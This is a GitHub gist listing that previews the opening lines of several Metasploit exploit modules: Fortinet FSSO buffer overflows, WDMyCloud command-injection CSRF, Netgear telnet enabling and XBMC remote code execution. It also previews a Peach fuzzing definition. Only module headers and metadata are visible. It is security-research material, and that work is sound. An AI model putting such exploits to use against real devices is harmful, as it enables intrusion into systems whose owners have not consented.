Skip to content

Instantly share code, notes, and snippets.

@phikshun
phikshun / fsso_dcagent_overflow.rb
Created March 29, 2015 20:23
Fortinet FSSO DCAgent Exploit
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/powershell'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
@phikshun
phikshun / fsso_buffer_overflow.rb
Created March 29, 2015 20:39
Fortinet FSSO Stack Buffer Overflow Exploit
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/powershell'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
@phikshun
phikshun / fsso.xml
Created March 22, 2015 20:27
Fortinet FSSO Peach Pit
<?xml version="1.0" encoding="utf-8"?>
<Peach xmlns="http://peachfuzzer.com/2012/Peach" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://peachfuzzer.com/2012/Peach ../peach.xsd">
<DataModel name="FSSO">
<Number name="PktLen" size="32" endian="big">
<Relation type="size" of="Main" expressionSet="size+4" />
</Number>
<Block name="Main">
<Number name="PktTag" valueType="hex" value="80" size="8" endian="big" />
@phikshun
phikshun / wdmycloud_cmd_injection_csrf.rb
Created March 20, 2014 00:51
WDMyCloud Command Injection CSRF
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'WDMyCloud NAS Command Injection CSRF',
@phikshun
phikshun / netgear_telnet_enabler.rb
Created March 18, 2014 23:49
Netgear Telnet Enabler
require 'msf/core'
require 'crypt/blowfish' # sorry, openssl is limited to 16-byte key size :(
# add gem 'crypt', '1.1.4' to Gemfile
module ::Crypt
class Blowfish
def setup_blowfish()
@sBoxes = Array.new(4) { |i| INITIALSBOXES[i].clone }
@pArray = INITIALPARRAY.clone
keypos = 0
@phikshun
phikshun / xbmc_remote_exec.rb
Created February 20, 2014 23:31
XBMC EventServer API Metasploit Module
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'XBMC Remote UDP Code Exec',